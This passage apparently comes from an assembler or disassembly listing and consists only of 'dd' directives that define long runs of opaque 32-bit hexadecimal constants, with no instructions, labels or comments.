		dd 0E07003F8h, 0B03A50BFh, 1E913DC7h, 90AA2452h, 22A858FEh
		dd 78D60F05h, 4923D526h, 69000373h, 0EC7AC64Eh,	0F57465h
		dd 0F7E87DB9h, 0A1CF321Dh, 0F8A44F5Bh, 6079C0FCh, 0A6E1FBDAh
		dd 95978F00h, 3925B681h, 0D98408C5h, 1E04ED87h,	2FAECF23h
		dd 352358h, 88397340h, 1D02A8B2h, 7D9269E3h, 649FDD54h
		dd 2E04C6BDh, 0BC7D7583h, 9994C978h, 806E301Ch,	9B0B59A8h
		dd 0E8197409h, 45687A0Dh, 0ADEC207Bh, 8E688097h, 25B2031Ch
		dd 0A820D93Bh, 50D84CD2h, 0B05D8380h, 11646B00h, 0FE058054h
		dd 0EC2289h, 0A2A52A87h, 0C8A00673h, 0E021E255h, 56245801h
		dd 44B06CD4h, 56D4080h,	6F8BAB86h, 0C3E23F02h, 0F2C8BFA7h
		dd 85BC1844h, 0B3D18958h, 49B5A1F2h, 0A02274D4h, 7FDC8D0Eh
		dd 0B7CE3420h, 9700F306h, 602D25AFh, 18E1016h, 38555E8Ah
		dd 2E9AA033h, 0DCFB4C04h, 0FEB94200h, 69DE3A9Fh, 0C2BAB2CEh
		dd 5EE4F287h, 53B7BB6Ch, 0E15E8021h, 0A909B969h, 0DC59F698h
		dd 33A1040h, 547CD1F8h,	25E00235h, 0A50423DAh, 0E564785Eh
		dd 0B9988042h, 0B784D054h, 8F01F610h, 8527DA04h, 7C74D4A1h
		dd 0B185F042h, 0DCB8CB2Fh, 0DAC46CBCh, 0FCB916A0h, 0A4007CB8h
		dd 0E86FAD1Fh, 1D47E360h, 58B2BE2Ch, 0C458292Dh, 1E2AC300h
		dd 219EA502h, 644758B4h, 208CB104h, 0BC14814Dh,	7F33022Bh
		dd 0F591509Dh, 0E8590989h, 0A1DE093Ah, 7212807Fh, 11909Bh
		dd 58715431h, 7BE133EDh, 649899B8h, 59DCE725h, 1868D92Ch
		dd 29C502BEh, 0FD1BDA0Dh, 0C47CBCA4h, 6DBC01EBh, 2B06A0D6h
		dd 68C8AC8Eh, 0DA9CB5C0h, 2E892A70h, 8D7B17F8h,	0F986E61h
		dd 0AE77D202h, 0F5C1FFB9h, 7EBF9C4Eh, 4086E3Ah,	5F22B51Bh
		dd 0A188CCh, 6FF32348h,	0D09DDFA0h, 6CAD5800h, 297122F5h
		dd 0F1907382h, 0AFFCC889h, 3370A4D6h, 0CF985F6Ch, 0C0F08860h
		dd 0F6F568C6h, 4AC7DF00h, 0B184E4C4h, 0A801482Bh, 0B181501Ah
		dd 2FC9C082h, 20EBA804h, 968EFE90h, 0E820C890h,	68973A2Ah
		dd 0A7C98281h, 0BCCD0A62h, 0C1CC3308h, 311027CAh, 0C1C358EDh
		dd 0F02CA3E0h, 13ECA703h, 219EFF11h, 314C5AA4h,	0E2F82337h
		dd 34F30F9h, 0F8CFA604h, 40EBC623h, 8B0995F4h, 0DA4E93D9h
		dd 0D2538B2h, 405254A4h, 74AD17E7h, 0A33A0FCDh,	0CF97C2A9h
		dd 0C0F0882Ch, 0BCD86FDAh, 65982A02h, 75A437DCh, 0C497A8BAh
		dd 0EB806511h, 0D21C60B8h, 7F8AB20h, 0A14CBADCh, 7DCE538Ch
		dd 98980CBh, 2E402557h,	0B0972034h, 5CDEF7BFh, 0F8B64680h
		dd 6CBCFA63h, 98165343h, 0ADB194h, 0F3BC8426h, 0B983281Ch
		dd 38C8BF5Ah, 1D2D42C0h, 0F161B2D7h, 0B9918F5h,	0AC08F27h
		dd 4698F4CEh, 6C023894h, 0DFC8E046h, 8C703009h,	914097B5h
		dd 26B18066h, 48D39050h, 407EA814h, 0E810463Ah,	8909EF6Ch
		dd 0C4D422ECh, 514A02DCh, 29A2FEC0h, 7414ACF6h,	0DDA0078h
		dd 96B4A840h, 21DD00B7h, 8C6AA77Bh, 6804A3D7h, 82DF9381h
		dd 0ADD3BCBDh, 1E79A814h, 980A81Bh, 0C0E0BFB2h,	0D42D844Ah
		dd 5C7A4Dh, 0EF3C9491h,	765852F4h, 2805D317h, 180789Bh
		dd 56F2E7AFh, 4EC64601h, 95085B4h, 0F8D1D801h, 0F90213A8h
		dd 5F0866A2h, 0D104D161h, 134E1865h, 0F6BEBABh,	5DB7E480h
		dd 72FD89FCh, 752F8C48h, 0B4199F03h, 0F0267158h, 30D04D91h
		dd 2E30243Ch, 670A4B64h, 1CFF62A5h, 9B183780h, 527663h
		dd 62F89FC1h, 3A39FAF9h, 0A86048B5h, 6D280394h,	0BAE5469Eh
		dd 782282D1h, 8CF5BC60h, 6D22D500h, 96BC1C5Eh, 0C891957Dh
		dd 0FF743085h, 0BE84D480h, 0E49D25ACh, 0D580F111h, 0C233FF82h
		dd 9172E0F7h, 0C60A2BE2h, 0E481E490h, 4216A892h, 6EAE20C5h
		dd 0D44200ECh, 6491ABADh, 9FE6F292h, 75CD8C1h, 2F907BA9h
		dd 0E200D435h, 0C7A78348h, 0B9A9D69Fh, 0E23B854h, 2914F654h
		dd 0E18878C0h, 9E016589h, 0A7A6E595h, 23A4CD7h,	218CFE90h
		dd 0DC1DF852h, 4E4897BEh
		dd 0D404BE8Ah, 0BFA054A5h, 0C71A0840h, 0D287D5h, 6A1051ADh
		dd 741626D8h, 9F58A3Fh,	0E763A182h, 6267C444h, 5860E669h
		dd 0A203ED74h, 11529844h, 9DACB8D8h, 0E4847301h, 0A9708056h
		dd 0BE10C057h, 0B51EDCh, 63C64E2Ah, 0EF2F25B8h,	6C093BF0h
		dd 0FAFEC3D1h, 1C0C76BCh, 8165D84Dh, 0F731521Bh, 2D7FE9E4h
		dd 0D0F50280h, 779C2E8Ch, 0D4D3182Bh, 0DFEE578h, 2737B82h
		dd 0C5BEF839h, 34536300h, 241B90ADh, 4285C92h, 260A8300h
		dd 0C139072Fh, 0AD04F83Bh, 7A4C103Bh, 3A7D002Bh, 32FEF0F5h
		dd 0E09D21F8h, 27C2A0C8h, 0F4530501h, 7F47370h,	0FBCC688h
		dd 50D6597Ch, 78D92C8Ah, 9709C42Ch, 221C042Ah, 5E9CBE20h
		dd 607CCFB5h, 14946255h, 0B982BD09h, 7E0C414Bh,	0A1191836h
		dd 2BFC19FFh, 6704246Eh, 0C3BB9C52h, 38A0B85Eh,	0B12D8483h
		dd 7740D827h, 60939F96h, 543A385Ah, 1501F423h, 0D53B64F9h
		dd 0AE87BC2Ch, 77C37084h, 9598B744h, 313F75FEh,	0FB5A8988h
		dd 1DB079B1h, 775C6Ah, 0B641ED2Dh, 5097BA58h, 0F76D0BC6h
		dd 3502CADBh, 74D982h, 0BD5AEB50h, 3364B867h, 13862D60h
		dd 0E0A70C92h, 1C606244h, 0E30330ACh, 5F9E14C6h, 3993A82Ch
		dd 0E0BF2FA6h, 2E4E14D8h, 5EAE24E3h, 302150A1h,	4746F7Bh
		dd 652F9F8Ah, 9853E08Ch, 0AFA094Dh, 30FECBD5h, 88FE5A60h
		dd 180BB734h, 38118C1Dh, 14D86780h, 41E86C1h, 0EBEF6033h
		dd 0FCB1B8B0h, 10AE0774h, 0D366A6D7h, 15F9EFE9h, 77A43C29h
		dd 488F580h, 28F311C2h,	10308A8Bh, 39F85964h, 6F37008Ch
		dd 380F4614h, 0B91E4E2Ch, 0CF538978h, 61A8A0ADh, 0F841E68Ch
		dd 0CD8F013Eh, 2BB1CF3Ch, 4C936F02h, 3BA90203h,	1A68D826h
		dd 59A77CDCh, 0ADF11630h, 0ECD2AC18h, 7F509029h, 6559132Ch
		dd 0E5F817DBh, 0BC2EF00h, 0D234A255h, 4B487463h, 4E10185Eh
		dd 3B095C4Ch, 0F458BB9Bh, 3992844h, 0FE07AD77h,	0C8B1F689h
		dd 7D876CFh, 3C3120FCh,	3088D085h, 0D3F1F029h, 0BC6C1748h
		dd 0E4FD0360h, 81B48F27h, 0F032988Eh, 0D0DFA809h, 83038070h
		dd 0C4E79BCDh, 38E8C4FDh, 8CECE8h, 97A5CA7Dh, 28D4E98Bh
		dd 0E4C24017h, 2A2F9CD0h, 0CABC1333h, 5ED4A306h, 91A6482h
		dd 0A6845079h, 0A0F8A4DFh, 6285800Bh, 890950D9h, 0C944DC82h
		dd 68117C97h, 0A0F36B82h, 0B37C1044h, 670E2707h, 847318C0h
		dd 40CBF7B9h, 3007CBFCh, 71414C86h, 0EE002826h,	808ED327h
		dd 3842493Ah, 84BEB265h, 90820978h, 0A4F64861h,	24CCCA88h
		dd 37AD082Ch, 87D39601h, 0CE7E1E93h, 0C0F2C854h, 9C034F32h
		dd 7FA7A10Eh, 427122BDh, 6C590B0Bh, 0EF183379h,	0FCD7A513h
		dd 1856F8ACh, 0B42AA63Eh, 2898BFD4h, 0A97F30D8h, 6C4C481Ch
		dd 3C908567h, 6FDC20BBh, 67048D18h, 0A5893195h,	0A6E816FEh
		dd 0BEF0B078h, 0E276E411h, 5048F3A9h, 8995029Fh, 0FDD3B1CEh
		dd 91A09DF7h, 0B7468064h, 4ECD52EAh, 220C8ABAh,	0EF3C0412h
		dd 4004A028h, 7787A4D5h, 5C55097Ah, 0D40A6858h,	22F80BFCh
		dd 0ED9DFC50h, 0F76C110h, 0A3A8E8A1h, 14B678A4h, 39465Eh
		dd 0CCBE6DE2h, 0A8EF9570h, 3BC4D60h, 0E3E44C7Ch, 9CC85372h
		dd 0F62F84E7h, 7BCC73C5h, 53F0CCF3h, 0A101D0D1h, 80E09ACEh
		dd 743B5861h, 189BAA5Ch, 0B26DE180h, 0DC2F6908h, 410C50F0h
		dd 0FD504129h, 77A1030h, 0D4280468h, 1334A084h,	254B700Bh
		dd 7081597Ch, 20005AE4h, 54C08C0h, 6C2D8448h, 0AF9C60ABh
		dd 751A8BB5h, 0F490C774h, 381B43C8h, 0D658B9E8h, 2EF1DA1Dh
		dd 219A05C0h, 664F837h,	7446C732h, 530031F9h, 0E85603AAh
		dd 0FF07A2h, 61A762D6h,	0B69921D1h, 84D0659Dh, 0B0A8E046h
		dd 7A09A0E4h, 718E7D90h, 18F67920h, 0D8D30218h,	1D884CD1h
		dd 45AD1054h, 6060E4E8h, 0C650E7h, 95EDD1ACh, 7C925F84h
		dd 0C1518835h, 0D4B8D0F9h, 0E4C04F0Bh, 68D0D41Ah, 0A3EF43A0h
		dd 88E76AA0h, 2E3D7779h, 484300C9h, 29973532h, 88F8586Dh
		dd 0EB04C593h, 67088C6Eh, 89804E86h, 1D7D08FBh,	8EB8042Dh
		dd 857CA5A7h, 0F86FBE42h, 56370700h, 0C1F503C0h, 4CF7AB1Fh
		dd 7828D3A7h, 4C3EC241h, 5E2C8113h, 0C40C7A6h, 770937Bh
		dd 0BE811FB4h, 575E8A92h, 1D010433h, 2ADAF8DEh,	0CAF3C017h
		dd 6844B5h, 0FAE7C3CBh,	60765B1h, 0E3C1ACA2h, 0C0566E4Eh
		dd 0E2E63404h, 0A65BE0E8h, 0F866E318h, 0E442D43Bh, 21602074h
		dd 50B1834Bh, 186E7Ah, 4631C70Fh, 4ED98538h, 0AE68C5BFh
		dd 7D9B9404h, 0CA9228E9h, 0C1F6C864h, 33115914h, 18730F04h
		dd 2B9001D7h, 12C11D8Eh, 7252E0E6h, 4416091Ah, 40D1CDB5h
		dd 975CF8ADh, 0B87E8002h, 0F579A871h, 39004A18h, 0F7710E43h
		dd 5EA8E84Dh, 8F2C0217h, 68C0937Dh, 1E8068C9h, 5584224Eh
		dd 0F83803B5h, 0FE300902h, 80202082h, 622897A9h, 5420214Eh
		dd 0C9D0E2h, 3465FDFAh,	9368058Ch, 804A6E18h, 4EC5AFF8h
		dd 0A440C14Ch, 7E4E1152h, 3D7112D7h, 2CC841FCh,	50C07D4h
		dd 4EA99C81h, 2040C104h, 0E83B7B06h, 300F623h, 0BD75EE33h
		dd 0B87C12E8h, 1D1CBC44h, 9C68F573h, 931A160h, 2C6F9E31h
		dd 1485D14h, 0BE2BAE82h, 94CB6EB2h, 94C0F3C8h, 92E3DEAh
		dd 45809842h, 0D0F7BC02h, 0D5DFA4E9h, 82390121h, 1D84ABFAh
		dd 873611D8h, 0A77ECEFAh, 8260FDC0h, 403BF180h,	9C5DC760h
		dd 32805E4h, 8CD053BAh,	0D6188EF7h, 0BC14E969h,	7378273Ah
		dd 0BCB68CC8h, 68750E09h, 0A720D367h, 0F5919C95h, 8327819Ch
		dd 0C1847D96h, 403B2B34h, 0B00F423h, 1582A154h,	0FC209FE5h
		dd 9694DB90h, 4D015700h, 0BA5486Fh, 1C8B04E4h, 0AC08981Ah
		dd 8CF3E8C4h, 55E84203h, 9D510613h, 0D0AE70C4h,	0D93272Ch
		dd 794C70E1h, 5F864640h, 54A404DBh, 6C49FF84h, 56CC079Ch
		dd 0A10A446Fh, 1BCCC8h,	2B6415Ah, 7AEAFF34h, 0ADD42B3Ah
		dd 0E0EC0Bh, 0D84ABFB1h, 78F2CA18h, 76FC511Dh, 60306CD7h
		dd 13A66A01h, 8828C4Bh,	0FE0935E0h, 672CD03Eh, 174E9947h
		dd 0B4DAC0B1h, 0E725A791h, 12ECE3A4h, 492D428h,	126C1DD8h
		dd 0F24A38F2h, 4D990780h, 0DE05159h, 7E4CA1h, 827F1952h
		dd 0C8D1FBD2h, 5686CC18h, 823A2148h, 0E412285Eh, 960390B9h
		dd 1090D812h, 0F372DEB0h, 0E9588600h, 15356830h, 504101ABh
		dd 845B6722h, 12186298h, 0F804FA6Dh, 0C8AFFB8Eh, 0F0EC8F08h
		dd 770273FCh, 0BA0AE5F4h, 4AC4789Fh, 8050EC22h,	0C3BB8793h
		dd 0D7A81141h, 2A01838h, 39450621h, 0F300D029h,	0A7C14BDEh
		dd 844BFE80h, 0B0271CB3h, 79085C40h, 0E049E930h, 0B2E8D046h
		dd 2CCBFEC8h, 401C731Eh, 0E09F4EB6h, 387EE600h,	5278B240h
		dd 39DB0048h, 0E458204Ah, 2E2F28FFh, 45E07233h,	84F8412Fh
		dd 2C422E25h, 74BF767Fh, 0ACDC4B80h, 0CBA98202h, 67302EBh
		dd 0FE408027h, 5150E54h, 3874D372h, 5E1CB84Ah, 3322D8B2h
		dd 0A88A4E29h, 0C0466C02h, 2834C8F8h, 30C1508Bh, 98C0A17Dh
		dd 2A3C5088h, 0CFAA0502h, 508074D8h, 0CF877808h, 0DBB98031h
		dd 0BA9733Eh, 0E86CD1F1h, 625B0C70h, 1700686Fh,	444D66FFh
		dd 0D0048A2Ah, 5C54D3FEh, 0A3F870E1h, 2EFC895Ah, 25A61CCCh
		dd 0CCD838CFh, 829A502Dh, 0C0778D00h, 583D1CA4h, 0A16B08D4h
		dd 7026CCD6h, 2ED4674h,	5EC70A3Eh, 0FDD180FFh, 822953h
		dd 6CC1D176h, 0E043DCD8h, 0CD7F352Fh, 419EC55Ch, 0EC4CD1E0h
		dd 766C0221h, 952E40A4h
		dd 0B1F6D7C4h, 4169D912h, 0BA4EB890h, 0C93116FDh, 0AC0CAD61h
		dd 46060BE5h, 88DE58C8h, 2BB9E202h, 2014ECDCh, 0CA0046CDh
		dd 86BCCB49h, 0BC8AB959h, 0A5D8021Ch, 87010BFh,	0A8663A04h
		dd 0DBBA2EA2h, 0A12D8738h, 668218E2h, 8C35A04Ch, 0C7A40060h
		dd 0FC5E9A14h, 0B80FA283h, 44CC2Ah, 0DA1CD8E1h,	98084EF3h
		dd 8D013B78h, 0B791FC87h, 0C4301DE5h, 0E2644A69h, 0A913793Ch
		dd 88B3FD77h, 0B93163B2h, 1279ED8h, 7DB2DBF6h, 2EE23752h
		dd 0F4CFEC8Ah, 1C79D18Bh, 0CF183579h, 80F6E905h, 17FE8598h
		dd 0A228B888h, 0F4741A3Eh, 31E204D4h, 88D6745Ah, 7C087FC0h
		dd 10F5E80h, 0EC8E83A8h, 3C2985h, 0BA1EAAA2h, 4E3419B9h
		dd 3A388AD3h, 15E0C093h, 0C4687D70h, 0E84ADB25h, 4F8454h
		dd 7419F963h, 3F0E00EBh, 4DAD3BC4h, 4F2F89DBh, 5CEC187Bh
		dd 838710FEh, 9EA91356h, 0D09E04A2h, 2C3C0922h,	807010D3h
		dd 0A0015478h, 2FFA4FF8h, 1F123C0h, 66D04D6Bh, 2C573AF6h
		dd 44AD90B9h, 7328C37Ch, 586157AAh, 7179C056h, 290C90BEh
		dd 92F7E894h, 9CCD9704h, 0F08082C4h, 9E999080h,	92D80118h
		dd 6B4A84F5h, 57F868C9h, 0C7DE0036h, 2282BBE2h,	0F1017803h
		dd 4C11A23Dh, 0DA7A5949h, 0E0F2C870h, 1222EDEEh, 6F16E216h
		dd 0AB3E4CB2h, 632AAD00h, 591CB8FCh, 0D82BB724h, 0EBB22402h
		dd 487909F3h, 41638D81h, 0A12E1CF8h, 0D2EEF128h, 3E174D41h
		dd 2FAE9CC4h, 1E3523D0h, 828304C6h, 0B198B570h,	57F11048h
		dd 21A2C007h, 55724188h, 4129E530h, 0E86FB4Dh, 0DC158FDh
		dd 0F3108C78h, 0D5DB7700h, 0F0351827h, 0C2053D43h, 4F854AFCh
		dd 0A442581Ch, 78C01895h, 7B974815h, 8B3ED050h,	80068E03h
		dd 0A1E09DC5h, 0A06454EDh, 0F83FBFD7h, 5BCDD00h, 9FE0AF0h
		dd 24737B8Eh, 8029F8A7h, 61FC81A2h, 78E02017h, 832878C0h
		dd 0A8EA95A1h, 0DC107Eh, 0C288AABFh, 57C87C93h,	20C189Dh
		dd 9754A71h, 0F47AA870h, 5DEACB4h, 243CC717h, 0B9F88082h
		dd 8B4BFEAAh, 5FDCE8D0h, 0DC22F1Ah, 7CA62879h, 0F24674h
		dd 4E12BE3Ah, 4CED02B9h, 7510ECFAh, 51F02764h, 70E00FCh
		dd 4A23F1E6h, 5E113804h, 7880FE33h, 454A5ADh, 8514F752h
		dd 0D714E8CEh, 2E3E8A6h, 0E0A949E0h, 0F7A0BE18h, 5EEAB1h
		dd 9526A28Ch, 46E6C68Ah, 87D96B02h, 40421443h, 13494E59h
		dd 0A656E485h, 0F998E0B0h, 2CA17421h, 5049F78h,	879E65C4h
		dd 0D7A59175h, 0EC812B08h, 5C2BE539h, 177240FCh, 0A5D09DBEh
		dd 48C48458h, 8CF6E84Ch, 0A0C839A3h, 0A3B77F4Dh, 0C5A9FF24h
		dd 90749049h, 186E2754h, 92D694DFh, 775E52B8h, 0E94B80F7h
		dd 77A8ECh, 329CFC17h, 0DC0483F8h, 16DFB212h, 39A11CECh
		dd 80402FE4h, 0CE271771h, 4C5200C4h, 55A0F50Ah,	0CD096BBAh
		dd 80A377DBh, 221B5988h, 1279DD82h, 8855EE0Bh, 0F13C134Ch
		dd 0B6FEE8A0h, 9608B0E8h, 34EE20A4h, 36D13CB1h,	0EE06B918h
		dd 668E6937h, 131B1388h, 164CE2D0h, 40FCA4FFh, 5148489Dh
		dd 0D2047C01h, 312B3BAFh, 0E8195AF4h, 342F4CD3h, 0A7607B3Ch
		dd 0DDC1A8EDh, 0A8D49643h, 92544FBFh, 78976DF4h, 0FA803B11h
		dd 9F069837h, 11E92C04h, 0D492919Ah, 589C5D63h,	0EAD4E09Ch
		dd 64081E4Eh, 24E5A549h, 0DC914518h, 67BE020Fh,	0BD3740Dh
		dd 4CF4B4D4h, 7504F4FCh, 80FFD92Ah, 1DFD453Ch, 0FBA19C00h
		dd 9F8174Eh, 120F741Fh,	0F2D9F70Ah, 0EF1501F8h,	1EFD054Ah
		dd 5C965DF6h, 436C0321h, 29333BF2h, 1A1C2123h, 49473431h
		dd 8A6C045Dh, 5A8264E8h, 1460CB82h, 0F997FA64h,	18F3D938h
		dd 0BC7A014Ch, 8D663EB2h, 0C0DC3A96h, 82322D8h,	0DF2E933Dh
		dd 34893CA2h, 0F0F350A9h, 3F8B070h, 6ED24065h, 0A1BECF2Bh
		dd 1727F081h, 1A1C905Bh, 0BD8D0989h, 0F8792E4Ch, 83272C81h
		dd 0CC7B1D97h, 0DB07FF24h, 5B4171BEh, 0FB5F8320h, 0A10660A0h
		dd 63CE90FDh, 2E671812h, 0DF0824F6h, 520128F8h,	0DCACEB8Ah
		dd 255C24DCh, 0E0FC0D09h, 0AEBF14DEh, 0D404E130h, 0C095DD77h
		dd 0E4F56314h, 0ECA4B0A0h, 0B030395Ah, 6080AA1Ch, 0A5768E05h
		dd 0FB4B50BFh, 60C6A89Dh, 3FF055A0h, 4E257CD3h,	0C5A50CDBh
		dd 6063E46Ch, 0F8D92593h, 0F2D15EDFh, 0B5622F24h, 0ADD18728h
		dd 2A443B2h, 0AAC6B00Fh, 0BC4C625Dh, 9C030B32h,	0B000FABFh
		dd 0ECB68829h, 5E25925Dh, 4A1CF3F8h, 0CFE02CA6h, 741D4E0Fh
		dd 0D24258AAh, 2B52AC4Ch, 46D444DCh, 0BC390261h, 60FCA3DAh
		dd 33D982E5h, 4E50E197h, 1BD7CE88h, 5BF0E813h, 6C2900A1h
		dd 0D22FEBB8h, 183878BBh, 0C1FC4C54h, 71134A93h, 10A315DBh
		dd 0A5AE8202h, 886A51D4h, 73DC18FEh, 8E89000Dh,	0D5C73BBEh
		dd 34357433h, 0AF057822h, 42EBA07Ch, 27F9A5F4h,	7C582CDCh
		dd 0ACC79FF4h, 45603764h, 4470BB48h, 0FA808C91h, 0B6040A6Dh
		dd 2A8232FEh, 0C4752C31h, 89080968h, 6C762FF1h,	0C3248A50h
		dd 10E84631h, 0A044E8A4h, 0B379552h, 81FE2AFDh,	0EF025452h
		dd 0A62E8FD0h, 345B2B46h, 3B549F50h, 1B005ACCh,	7F317BD6h
		dd 7898A3A7h, 0C7A64C80h, 5C8A6077h, 3646D4D4h,	0BFD9E100h
		dd 7DA0B7A7h, 0DF84743Dh, 0F79B20D1h, 0FE90FB00h, 0C1A5DB27h
		dd 327B63D8h, 0C8730920h, 7F4F1D8h, 9596FEF9h, 0E595E4h
		dd 0B8F6AC74h, 3114DF46h, 13B8BC83h, 0F8A23A39h, 0DB07F000h
		dd 0ACCA8B50h, 0FE4C2B09h, 2285A85h, 3433FBFFh,	6D5FF0B5h
		dd 0AD526034h, 5F4B3002h, 0AD4ACCF3h, 1F6B8FCh,	806A1611h
		dd 4656188h, 0A1CB7CBCh, 4988F8C8h, 0D469CE00h,	9D520EA8h
		dd 4EA40F7Eh, 116551BCh, 0B8408133h, 98002208h,	9D222850h
		dd 0D7D00CD3h, 720E0EC8h, 9118A093h, 5E001729h,	31E807EFh
		dd 1D9FBBD6h, 69AF6F2h,	0C0EDD8BFh, 0A2FF0B0Bh,	75B84A26h
		dd 0A085D4B5h, 0FFCE56h, 0A28F2790h, 0B40883DEh, 0A5F8D7A7h
		dd 375784E2h, 3C440040h, 0CF4BBF75h, 0E4BE8900h, 20DC8495h
		dd 0C99B4h, 6D918F09h, 86124B4Eh, 94EC9B31h, 39206B5Ah
		dd 908009A4h, 0F4A557B9h, 0ECF29Bh, 8FDA9FE4h, 97207F3h
		dd 0C3FF2BCBh, 3B5964D3h, 0F4004518h, 0FDF6B703h, 1276DCBEh
		dd 0BCB1D1EEh, 98800A0Ch, 5CA53079h, 3B4676E0h,	90E2C500h
		dd 7D0325C9h, 0A7BCF50Ch, 4ACBC07Ch, 0B2DCF3D8h, 33A3037h
		dd 41042EE8h, 66049AA0h, 3B790880h, 4844B7FFh, 93C11700h
		dd 0ADF152F2h, 9B6B0066h, 2E02CCE6h, 0C49F2AFFh, 0FE6D0208h
		dd 0BD7082EAh, 0F87C0DD7h, 80CC9B2Bh, 0AB6999B1h, 649DC0h
		dd 8A55891Dh, 0C1E40A80h, 0AB20F2h, 666B790Dh, 2BF397DDh
		dd 8030D248h, 6DCDD688h, 88A8FF77h, 4FE92610h, 1D8B4E08h
		dd 5588DCFCh, 0BFA8036Ch, 185B2A30h, 9A5A8CA7h,	186E80E0h
		dd 327C853h, 369DAC58h,	88111D97h, 0AB2D38D9h, 0F5911817h
		dd 0FC798C89h, 0FC498D47h, 3701F43Ch, 0ACD0AF23h, 9B6F2161h
		dd 0EADB8038h, 75A63C99h, 0D3FE0434h, 8485399Dh, 23742E88h
		dd 0BDC2CF4h, 0FCCAA3FEh, 0B5740255h, 0CADA204Dh, 0A05CA7E4h
		dd 7AAF931Ch, 0C9930EC0h, 0CCAD202Fh, 0AAFBA12Ch, 945EC090h
		dd 8CB92456h, 728000FBh, 8FB8B3Ah, 656D8401h, 0DCA9759Eh
		dd 9D4273E4h, 5017441Ch, 88F9C989h, 364C2BBCh, 80CF0948h
		dd 0AC9D7F19h, 0AE82F291h, 5960DC6Ah, 10724E32h, 44D0884Fh
		dd 25C3D185h, 0FCDEA4EDh, 7D678DC0h, 270B04F6h,	0C07F5AEBh
		dd 0A57B9374h, 0DC84DF2Eh
		dd 3D5CD3A5h, 5B91D4D0h, 82C8B249h, 0EBD3B985h,	0B054E16Ch
		dd 8D2E0C65h, 0BC942804h, 10038C60h, 0D3959C82h, 6DD99898h
		dd 83FE2597h, 9D84C11h,	41F91060h, 0E07EF951h, 4C4AD978h
		dd 260C5442h, 0D8BDC6h,	9DDDDEDCh, 255C1891h, 14D84B0Ah
		dd 8FD28869h, 0D41E9B02h, 832F287Ch, 0C00EE684h, 9735D04Ch
		dd 2E4FB8E9h, 77773082h, 6CD2AC30h, 10803CF2h, 8A4D12FEh
		dd 235C42E8h, 0B4A05FBAh, 0DBC3574Eh, 3B29B20Bh, 0C0E43Ch
		dd 52FF6FCAh, 895A1339h, 61096904h, 1AC0AB6Bh, 51CEF2E0h
		dd 0C83E38D8h, 0B007A0DCh, 8275D504h, 0CF8357C0h, 0C8D105F7h
		dd 0EC63A984h, 0A19C09C4h, 40CCD407h, 0EB3521B8h, 6EDBCA00h
		dd 7B53F4D5h, 0AB860504h, 0BA247D9Ah, 0F8606000h, 9893482Eh
		dd 199C02E4h, 0ABA85FF0h, 1D5890D5h, 87375FD2h,	0D0845224h
		dd 0FF18C458h, 2A7156ABh, 0FBD30482h, 9C06C9D9h, 15209800h
		dd 40409733h, 950ADC66h, 0A46F125Ch, 0B43202Ch,	0C045CDDAh
		dd 9C41D774h, 6A158082h, 18CC443Bh, 0EC8A00FAh,	62854E1Dh
		dd 0A1FF412Ch, 0C21C18DDh, 8A1B1451h, 9D0A20A8h, 26074D3h
		dd 90D204D4h, 0AADC90DFh, 0DED82DC7h, 0F491F49Dh, 44D1908Bh
		dd 1A7B4E80h, 13A4D76h,	4A181617h, 2BA0FF29h, 10A8C050h
		dd 6D024740h, 61AFD0F8h, 5FD10851h, 0B00FD418h,	0C0DD8CC6h
		dd 4DA79533h, 0BDD14B56h, 6ABED390h, 27520014h,	0CE2C4CF3h
		dd 0C9964E82h, 0C624F054h, 0FBEDB900h, 54A2A342h, 0E0AD05A1h
		dd 15B2198h, 6C4D6BCh, 926C5B0Ch, 0B42470FAh, 82029ADAh
		dd 0D5AADC04h, 0BAEC432Dh, 0CB0C7431h, 84080EDh, 57F3485h
		dd 458F2791h, 0F55CC18Ch, 0F09B0166h, 5DACD429h, 0BD04F503h
		dd 0C0E2B714h, 9D2CD04Dh, 80533886h, 0D0C05397h, 73253AE3h
		dd 97C410A3h, 0B6B20080h, 54017EA4h, 0BF06438Ch, 0AB611A5Ch
		dd 406F5B60h, 8C2987E4h, 0E095ED6Ch, 9706A7E8h,	68F4B8B2h
		dd 0A87A00DCh, 0EA3778Ch, 0A62D6EFAh, 4E3C1845h, 16FCB187h
		dd 567CD0E5h, 0C30317ADh, 2B68E350h, 78699F26h,	4C9FB7E8h
		dd 5D806311h, 42EF569Ah, 7C20E498h, 0CA3C4B25h,	4CD181E8h
		dd 0F33B2A14h, 30F8B2B0h, 0C8F03A51h, 0C8028C2Fh, 4BFBD9A0h
		dd 0C49CA4D4h, 95887995h, 6E5FA4A7h, 9BF43D74h,	0BAE81A01h
		dd 0BC790922h, 0E82D7400h, 0FAD04Ah, 0E7183CBBh, 65FCA25Fh
		dd 994D3005h, 80FC3E53h, 3C000B89h, 15C476E5h, 29F01701h
		dd 0B7D7515Eh, 0DEEC202Fh, 7078A6Bh, 23709934h,	0ED379310h
		dd 0B74504D9h, 0BBFC32BBh, 50DBB825h, 0BB978584h, 18ACB035h
		dd 12C6839Ch, 3907BD6h,	1B0708B2h, 0E94AA9A7h, 4D5D2840h
		dd 5EA8E27Dh, 0B050E661h, 5D7DAC4h, 46666D75h, 4A8BDD8h
		dd 0F0B29327h, 97C820EBh, 0F028AF3h, 744C2912h,	2F34C9A4h
		dd 25408A6Fh, 77FC423Eh, 0F7C0546Dh, 7E9DAF88h,	173F0029h
		dd 90821B9Ah, 0CEB73155h, 5D084078h, 78B971D6h,	500AFB8h
		dd 27D3FE78h, 90592549h, 201C2030h, 0C8A68B4Ah,	61D08518h
		dd 0D870DFA8h, 622998A0h, 3CC0C0ADh, 75A2483Fh,	70D0F842h
		dd 0F86C97FCh, 50E05397h, 0B500AB30h, 0CA334F47h, 0B86E4234h
		dd 4C8D2054h, 0CA7B9F39h, 78068FCh, 5782BD4Bh, 0FD0E6D00h
		dd 84E7AC31h, 0F6132DB1h, 2F1198F3h, 64A25Eh, 0DCCBF667h
		dd 9081DD51h, 0D18B0576h, 0E424F484h, 0C6B7A02Ch, 0C979764h
		dd 0CE01C6BCh, 3B91B14Dh, 0B8407A87h, 0A9E19E47h, 7C400150h
		dd 885465B8h, 72430C6h,	0A6434Ah, 0E05448E0h, 7C8D8027h
		dd 3A5E3F44h, 2F423B8h,	9FFEA37Eh, 7443145Ch, 0E409A468h
		dd 9418BB77h, 0B9AC84F0h, 0D84E00A0h, 0C5A5348Eh, 2201F9E6h
		dd 0D2053C2Eh, 282482B1h, 32D81E66h, 0FB1E0971h, 0DC180456h
		dd 78FE5B41h, 8D4501Ch,	0EF340033h, 78832728h, 3505D84Dh
